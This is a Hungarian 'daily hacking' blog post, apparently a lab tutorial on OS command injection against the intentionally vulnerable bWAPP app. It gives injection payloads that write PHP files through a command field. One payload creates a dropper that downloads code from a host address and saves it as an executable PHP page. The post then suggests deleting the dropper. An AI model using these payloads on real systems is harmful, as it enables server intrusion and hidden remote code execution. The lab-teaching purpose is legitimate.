Napi hackelés

Napi hackelés

OS Injection, php file létrehozása másképp

2021. január 14. - c3llenger

Maradunk az előző témánál. Láthattuk, hogy miként tudunk bizonyos sérülékenységeknél fileokat létrehozni, módosítani, törölni. Már arról is lehet elképzelésünk, hogy miként lehet ezeket felhasználni.

Most nem is csinálunk semmi újat inkább a módszert finomítjuk. Az előző példában is láttuk hogy kódjainkat egy max kb 30 karakteres input mezőbe kellett beilleszteni. Persze nem volt limitálva, és ha lett volna sem okozna gondot - erről majd később, De mi most mégsem egy ilyen pici mezőbe akarjuk illeszgetni a kódjainkat, ami tegyük fel legyen most 50 soros.

Hogyan lehetne még létrehozni filet?

Mutatom:
a példa kedvéért megint a bWAPP-ba teszem fel az amúgy külsőleg használt file-t ami egy txt.
Menjunk a /bWAPP/commandi.php oldalra, majd hozzunk létre egy txt fájlt:

; echo "<?php echo 'mukodik az oldal'; \$a = 5; \$b = 10; \$osszeg = \$a + \$b; echo \$osszeg; ?>" > forras.txt

ebben van kiíratás, vannak változók és egy összeadás is. A valóságban ezt szépen megszerkesztjük hosszan, és valami ftp-re feltöltjük kényelmesen, ahonnan a következő kis script-tel beolvassuk a tartalmát és ki is íratjuk egy php fájlba:

;echo "<?php \$tartalom = file_get_contents('http://192.168.100.5/bWAPP/forras.txt'); \$myfile = fopen('forras.php', 'w'); fwrite(\$myfile, '\n'.\$tartalom); fclose(\$myfile);echo 'lefutva'; ?>" > proba.php

ezután, ha lefuttatjuk a a proba.php-t az elkészíti nekünk a forrás.php-t. Ha azt lefuttatjuk a következő eredményt kapjuk:

mukodik az oldal15

nem egy szép kimenet, de ezt kértük tőle :) bemutatásra tökéletes. Ezután eltűntetjük a a proba.php-t és boldogok vagyunk.

A mai hack igazán egyszerű dolog, de szerintem hasznos lehet sok esetben, és jó tudni hogy ez a módszer működik!!!

ch3llenger

A bejegyzés trackback címe:

https://napihack.blog.hu/api/trackback/id/tr3216387922

Kommentek:

A hozzászólások a vonatkozó jogszabályok  értelmében felhasználói tartalomnak minősülnek, értük a szolgáltatás technikai  üzemeltetője semmilyen felelősséget nem vállal, azokat nem ellenőrzi. Kifogás esetén forduljon a blog szerkesztőjéhez. Részletek a  Felhasználási feltételekben és az adatvédelmi tájékoztatóban.

Nincsenek hozzászólások.
süti beállítások módosítása